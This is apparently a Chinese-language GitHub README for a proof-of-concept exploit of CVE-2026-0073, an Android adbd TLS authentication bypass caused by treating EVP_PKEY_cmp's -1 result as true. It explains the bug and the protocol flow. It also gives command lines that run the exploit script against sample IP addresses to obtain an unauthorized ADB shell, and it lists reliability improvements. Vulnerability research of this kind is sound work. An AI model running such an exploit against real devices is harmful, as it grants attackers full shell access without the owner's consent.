ctnBobong32/CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

GitHub: ctnBobong32/CVE-2026-0073-Android-ADBD-bypass-POC_zh_CN

Android ADBD TLS 身份验证绕过漏洞(CVE-2026-0073)的 PoC 利用工具汉化增强版,利用 EVP_PKEY_cmp 类型混淆实现未授权 shell 访问。

Stars: 0 | Forks: 0

# CVE-2026-0073 — Android ADBD TLS 身份验证绕过 ### `EVP_PKEY_cmp()` 类型混淆 → 未经授权的 ADB shell [![Python 3.10+](https://img.shields.io/badge/Python-3.10+-3776AB?style=for-the-badge&logo=python&logoColor=white)](https://python.org) [![CVE-2026-0073](https://img.shields.io/badge/CVE--2026--0073-CRITICAL-DC3545?style=for-the-badge)](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0073) [![Android](https://img.shields.io/badge/Android-14+-3DDC84?style=for-the-badge&logo=android&logoColor=white)](https://android.com) [![许可证](https://img.shields.io/badge/License-MIT-yellow?style=for-the-badge)](许可证)
## 🔥 概述 Android 的 ADB 守护程序 (`adbd`) 中存在一个**关键的身份验证绕过**漏洞,允许本地网络上的任何攻击者在目标设备上获得**完整的 shell**权限,**而无需用户授权**。 该漏洞存在于 `daemon/auth.cpp` 文件中的 `adbd_tls_verify_cert()` 函数中,其中 `EVP_PKEY_cmp()` 被用作布尔值。当存储的密钥是​​ **RSA** 密钥,而提供的 TLS 客户端证书携带的是 **非 RSA 密钥**(EC P-256 或 Ed25519)时,`EVP_PKEY_cmp()` 返回 **-1**(类型不匹配),这在 **C/C++ 中为真**,因此 `authorized = true`。 // daemon/auth.cpp 中的易受攻击代码模式 if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 是真值! 已授权 = true; } | `EVP_PKEY_cmp()` 返回值 | 含义 | C 语言中的真值? | 结果 | |:-:|---|:-:|---| | `1` | 密钥匹配 | ✅ | 已授权(正确) | | `0` | 键值不同 | ❌ | 已拒绝(正确) | | **`-1`** | **类型不匹配** | **✅** | **已授权(BUG)** | ## ⚡ 快速入门 ### 安装依赖项 pip install cryptography ### 运行漏洞利用程序 # 交互式 shell python adb_tls_auth_bypass.py # 单命令执行 python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id" # 详细模式(查看完整协议跟踪) python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id" ### 强制使用特定类型的按键 python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519 ## 🎯 漏洞利用流程 攻击者目标(adbd) │ │ │──── TCP 连接 ──────────────────►│ │──── CNXN(明文)────────────►│ │◄─── STLS(TLS 升级请求)──│ │──── STLS 回复 ──────────────────►│ │ │ │════ TLS 1.3 握手 ════════════│ │(已提交 EC P-256 客户证书)│ │ EVP_PKEY_cmp(EC, RSA) → -1 │ │ -1 为真 → authorized=true │ │════════════════════════════════════│ │ │ │◄─── CNXN(设备信息)──────────│ │──── 打开“shell:” ───────────────►│ │◄─── 好的 ────────────────────────│ │◄──► WRTE/OKAY(shell I/O)──────►│ │ │ 【完全 shell 访问权限】 ## 📋 先决条件 | 要求 | 详情 | |---|---| | **开发者选项** | 已在目标设备上启用 | | **无线调试** | 已启用(或通过 TCP 端口 5555 使用 ADB) | | **已存储的 RSA 密钥** | 设备必须至少通过 USB 配对过一次(`/data/misc/adb/adb_keys`) | | **网络访问** | 攻击者必须访问 adbd TCP 端口 | ⚠️ **重要提示:** RSA 密钥必须位于 `/data/misc/adb/adb_keys` 文件中,该文件通过 **USB 调试配对**(接受“允许 USB 调试?”对话框)填充。无线调试配对(`adb pair`)将密钥存储在 **不同的位置**(`adb_known_hosts.pb`)中,因此不符合此要求。 ## 🛡️ 受影响版本 - **Android 14** (AOSP) — ✅ 已确认存在漏洞 - **Android 15** (AOSP) — 可能存在漏洞(未打补丁的版本) - 不同厂商的版本可能有所不同(例如三星 One UI、Pixel 等)。 ### 如何检查补丁级别 adb shell getprop ro.build.version.security_patch ## 🧪 测试环境 经测试确认可在以下设备上正常运行: 内核:6.1.23-android14-4-00257-g7e35917775b8-ab9964412 平台:Android 14(Android Studio 模拟器) ## 🔧 比原版有所改进 此分支包含以下几项改进: - ✅ **多密钥回退** — 自动尝试 EC P-256 → Ed25519 → EC/TLS 1.2 - ✅ **Ed25519 支持** — 提供更广泛的兼容性的替代密钥类型 - ✅ **TLS 1.2 回退** — 不同的客户端证书流程(握手期间发送与握手后发送) - ✅ **增强型证书** — 正确的 X.509 扩展(BasicConstraints、KeyUsage) - ✅ **兼容 Windows** — 使用线程 I/O 而非 `select()` 以实现跨平台支持 - ✅ **增加超时时间** — 在速度较慢的网络上提供更高的可靠性 - ✅ **详细诊断信息** — 使用 `-v` 标志显示详细的协议跟踪信息 ## 📁 项目结构 CVE-2026-0073-Android-ADBD-bypass-POC/ ├── adb_tls_auth_bypass.py # 主漏洞利用脚本 └── README.md # 此文件 ## ⚠️免责声明 本工具仅供**经授权的安全测试和教育用途**。未经授权访问计算机系统属于违法行为。测试前务必获得适当授权。作者对本软件的误用不承担任何责任。 ## 📚 参考资料 - [CVE-2026-0073 — MITRE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-0073) - [Android 安全公告](https://source.android.com/docs/security/bulletin) - [OpenSSL `EVP_PKEY_cmp` 文档](https://www.openssl.org/docs/man3.0/man3/EVP_PKEY_cmp.html) - [ADB 协议参考](https://android.googlesource.com/platform/packages/modules/adb/+/refs/heads/main/protocol.txt)
**如果这对您的研究有所帮助,请点个赞⭐**
标签:Android, DSL, POC, Python, 安全测试工具, 无后门, 网络安全, 身份验证绕过, 逆向工具, 隐私保护